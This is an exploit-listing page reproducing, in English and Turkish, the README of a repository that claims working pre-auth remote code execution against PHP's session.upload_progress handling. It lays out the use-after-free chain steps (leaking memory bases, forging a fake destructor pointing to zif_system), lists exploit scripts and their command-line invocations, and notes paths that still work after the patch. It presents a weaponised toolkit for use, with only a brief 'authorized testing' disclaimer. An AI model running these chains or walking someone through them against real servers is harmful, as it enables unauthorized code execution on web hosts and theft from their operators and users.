Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus • October 27, 2026

![Fixed](

Two pre-auth `session.upload_progress` bugs in PHP core. This repository has a

working remote chain on stock `php.ini-production`, plus four more exploit

paths — all verified against the official Docker images.

**Contents:** [Verdict](#verdict) · [The two CVEs](#the-two-cves) · [Exploit paths](#exploit-paths) · [CVE flow](#cve-flow) · [After the patch](#after-the-patch-8512) · [Quick start](#quick-start) · [Limits](#limits) · [Files](#files)

| Can it give a shell? | ✅ yes — remote on unpatched 8.4.x mod_php |

| Is it pre-auth? | ✅ yes — the rfc1867 callback runs before application code |

| Is it universal? | ❌ no — mod_php prefork only, build-specific offsets |

| Does the patch close it? | ✅ the two CVEs, yes; three app-level paths still work on 8.5.12 |

| CVE-2026-109618 | RCE via OOM corruption | CWE-416 |

| CVE-2026-109619 | RCE via stale global state | CWE-416 |

Fixed in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12.

| 1 | **Production chain** | `exploit/pure_off.py` | stock `php.ini-production`, 128M, `display_errors=Off` | ✅ 5/5 single worker · 3/3 with 8 workers |

| 2 | **8M chain** | `exploit/remote_cve.py` | `display_errors=On`, `memory_limit=8M` | ✅ 5/5 on 8.4.26 trixie, 8.4.25 |

| 3 | **Local UAF** | `exploit/auto_exp.py` | `unserialize()` + `__destruct`, local | ✅ 10/10, also on 8.5.12 |

| 4 | **Handler mismatch** | `exploit/handler_mismatch.py` | two serializer handlers + gadget | ✅ verified on 8.5.12 |

| 5 | **Session injection** | via `php2shell.py` | app `include` / LFI | ✅ verified on 8.5.12 |

Works on stock `php.ini-production` — no custom ini, no `display_errors=On`,

no `memory_limit=8M`. Uses chunked transfer-encoding to bypass `post_max_size`.

chunked multipart ──► post_max_size bypass

A1 OOM in END-cleanup php_url_encode ──► dangling PS(id), send_cookie=1

B1 forged zend_string (len 0xC8000) ──► 800 KB Set-Cookie read

├─ 2 MB-aligned chunk buckets ──► chunk base

└─ zval_ptr_dtor ×1095 ──► libphp base

A2 cheap OOM ──► dangling PS(http_session_vars)

B2 fake zend_reference ──► fake zend_array, pDestructor = zif_system

python3 exploit/pure_off.py --host 127.0.0.1 --port 8088 --auto

rotate worker ──► Set-Cookie leak (chunk base) ──► Set-Cookie leak (libphp base)

└─ upload_progress fake reference + fake HashTable ──► pDestructor = zif_system

python3 exploit/remote_cve.py -u \

--libphp /path/libphp.so --cmd 'id>/tmp/p1'

python3 exploit/auto_exp.py --php /path/to/php --cmd 'id > /tmp/proof' --proof /tmp/proof

python3 exploit/handler_mismatch.py --seed \

--fire --cmd 'id > /tmp/proof'

filename / progress value ──► session file keeps it raw ──► application include() ──► RCE

multipart POST ──► php_hash_environment() ← before RINIT

├─ serialize encode ──► OOM ──► BG(serialize) orphaned

└─ unserialize decode ──► OOM ──► BG(unserialize) orphaned

worker survives? ── yes ──► request reuses the freed context

| CVE-2026-109618 / 109619 | ✅ | `longjmp` removed, state reset |

| Production chain | ✅ | B1 gets no leak on 8.5.12 |

| `var_destroy` UAF → RCE | ❌ still works | 5/5 on 8.5.12 |

| Handler mismatch | ❌ still works | `uid=33(www-data)` on 8.5.12 |

| Session injection | ❌ still works | raw payload stored on 8.5.12 |

python3 exploit/php2shell.py finger -u

# auto: pick a chain and run it (out-of-band proof)

python3 exploit/php2shell.py auto -u \

--oob --probes 30

python3 exploit/php2shell.py auto -u \

python3 exploit/pure_off.py --host 127.0.0.1 --port 8088 --auto

Other subcommands: `local` (local UAF) and `mismatch` (handler mismatch).

- **bookworm**: production chain fails at B1 (different A1/B1 shaping);

- **8.4.20 / 8.5.11**: unpatched but B1 never leaks — recalibration needed;

- **FPM**: startup OOM kills the child — no cross-request primitive;

- **offsets**: per build (`--zif-off/--dtor-off/--s-off`, `--auto` covers verified ones);

- **WAF / proxy**: body limits and timeouts not tested.

| `exploit/php2shell.py` | unified CLI: fingerprint, auto chain, local, mismatch |

| `exploit/pure_off.py` | production chain (`display_errors=Off`, 128M, chunked bypass) |

| `exploit/remote_cve.py` | 8M chain: rotation + leaks + fake pDestructor |

| `exploit/auto_exp.py` | one-command local UAF driver |

| `exploit/var_destroy_uaf_rce.php` | UAF payload (PHP) |

| `exploit/handler_mismatch.py` | two-request handler-mismatch client |

| `lab/docker-compose.yml` | Docker lab (PHP 8.4.26, Apache prefork) |

PHP çekirdeğindeki iki adet `session.upload_progress` zafiyeti. Bu repo, standart

`php.ini-production` üzerinde çalışan uzaktan exploit zinciri ve dört ek saldırı

yolunu içerir — hepsi resmi Docker imajlarında doğrulandı.

**İçindekiler:** [Özet](#özet) · [CVE'ler](#iki-cve) · [Saldırı yolları](#saldırı-yolları) · [Akış](#zafiyet-akışı) · [Yama sonrası](#yama-sonrası-8512) · [Kullanım](#hızlı-başlangıç) · [Sınırlar](#sınırlar) · [Dosyalar](#dosyalar)

| Shell alınabilir mi? | ✅ evet — yamasız 8.4.x mod_php üzerinde uzaktan |

| Kimlik doğrulama gerekir mi? | ✅ hayır — rfc1867 callback'i uygulama kodundan önce çalışır |

| Her yerde çalışır mı? | ❌ hayır — sadece mod_php prefork, build'a özel offset'ler |

| Yama kapatıyor mu? | ✅ iki CVE'yi evet; üç uygulama seviyesi yol 8.5.12'de hâlâ çalışıyor |

| CVE-2026-109618 | OOM bozması ile RCE | CWE-416 |

| CVE-2026-109619 | Bayat global state ile RCE | CWE-416 |

8.2.35 / 8.3.36 / 8.4.27 / 8.5.12'de düzeltildi.

| 1 | **Production zinciri** | `exploit/pure_off.py` | standart `php.ini-production`, 128M, `display_errors=Off` | ✅ 5/5 tek worker · 3/3 8 worker ile |

| 2 | **8M zinciri** | `exploit/remote_cve.py` | `display_errors=On`, `memory_limit=8M` | ✅ 5/5 8.4.26 trixie, 8.4.25 |

| 3 | **Yerel UAF** | `exploit/auto_exp.py` | `unserialize()` + `__destruct`, yerel | ✅ 10/10, 8.5.12'de de |

| 4 | **Handler uyuşmazlığı** | `exploit/handler_mismatch.py` | iki serializer handler + gadget | ✅ 8.5.12'de doğrulandı |

| 5 | **Session enjeksiyon** | `php2shell.py` ile | uygulama `include` / LFI | ✅ 8.5.12'de doğrulandı |

Standart `php.ini-production` üzerinde çalışır — özel ini yok, `display_errors=On`

yok, `memory_limit=8M` yok. `post_max_size`'ı atlamak için chunked transfer-encoding kullanır.

chunked multipart ──► post_max_size bypass

A1 END-cleanup'tta OOM ──► dangling PS(id), send_cookie=1

B1 forged zend_string (len 0xC8000) ──► 800 KB Set-Cookie okuma

├─ 2 MB hizalı chunk bucket'lar ──► chunk base

└─ zval_ptr_dtor ×1095 ──► libphp base

A2 cheap OOM ──► dangling PS(http_session_vars)

B2 fake zend_reference ──► fake zend_array, pDestructor = zif_system

python3 exploit/pure_off.py --host 127.0.0.1 --port 8088 --auto

worker rotate ──► Set-Cookie leak (chunk base) ──► Set-Cookie leak (libphp base)

└─ upload_progress fake reference + fake HashTable ──► pDestructor = zif_system

python3 exploit/remote_cve.py -u \

--libphp /path/libphp.so --cmd 'id>/tmp/p1'

python3 exploit/auto_exp.py --php /path/to/php --cmd 'id > /tmp/proof' --proof /tmp/proof

python3 exploit/handler_mismatch.py --seed \

--fire --cmd 'id > /tmp/proof'

filename / progress değeri ──► session dosyası ham saklar ──► uygulama include() ──► RCE

multipart POST ──► php_hash_environment() ← RINIT öncesi

├─ serialize encode ──► OOM ──► BG(serialize) yetim

└─ unserialize decode ──► OOM ──► BG(unserialize) yetim

worker hayatta mı? ── evet ──► sonraki istek serbest kalan context'i kullanır

| CVE-2026-109618 / 109619 | ✅ | `longjmp` kaldırıldı, state sıfırlandı |

| Production zinciri | ✅ | B1 8.5.12'de leak alamıyor |

| `var_destroy` UAF → RCE | ❌ hâlâ çalışıyor | 5/5 8.5.12'de |

| Handler uyuşmazlığı | ❌ hâlâ çalışıyor | `uid=33(www-data)` 8.5.12'de |

| Session enjeksiyon | ❌ hâlâ çalışıyor | ham payload 8.5.12'de saklanıyor |

python3 exploit/php2shell.py finger -u

# auto: zincir seç ve çalıştır (out-of-band kanıt)

python3 exploit/php2shell.py auto -u \

--oob --probes 30

# veya shared mount üzerinde kanıt dosyası ile

python3 exploit/php2shell.py auto -u \

python3 exploit/pure_off.py --host 127.0.0.1 --port 8088 --auto

Diğer alt komutlar: `local` (yerel UAF) ve `mismatch` (handler uyuşmazlığı).

- **bookworm**: production zinciri B1'de başarısız (farklı A1/B1 shaping);

- **8.4.20 / 8.5.11**: yamasız ama B1 hiç leak vermiyor — yeniden kalibrasyon gerekli;

- **FPM**: startup OOM child'ı öldürüyor — cross-request primitive yok;

- **offset'ler**: build'a özel (`--zif-off/--dtor-off/--s-off`, `--auto` doğrulananları kapsar);

- **WAF / proxy**: body limit ve timeout'lar test edilmedi.

| `exploit/php2shell.py` | birleşik CLI: parmak izi, auto zincir, yerel, mismatch |

| `exploit/pure_off.py` | production zinciri (`display_errors=Off`, 128M, chunked bypass) |

| `exploit/remote_cve.py` | 8M zinciri: rotate + leak + fake pDestructor |

| `exploit/auto_exp.py` | tek komutla yerel UAF sürücüsü |

| `exploit/var_destroy_uaf_rce.php` | UAF payload (PHP) |

| `exploit/handler_mismatch.py` | iki istekli handler-mismatch client |

| `lab/docker-compose.yml` | Docker lab (PHP 8.4.26, Apache prefork) |

Authorized security testing only. Unauthorized use is illegal.

Yetkili güvenlik testleri içindir. İzinsiz kullanım yasa dışıdır.

Extracted Entities

Attack Types (1)

CWE Weaknesses (1)

Domains (1)

Tools (1)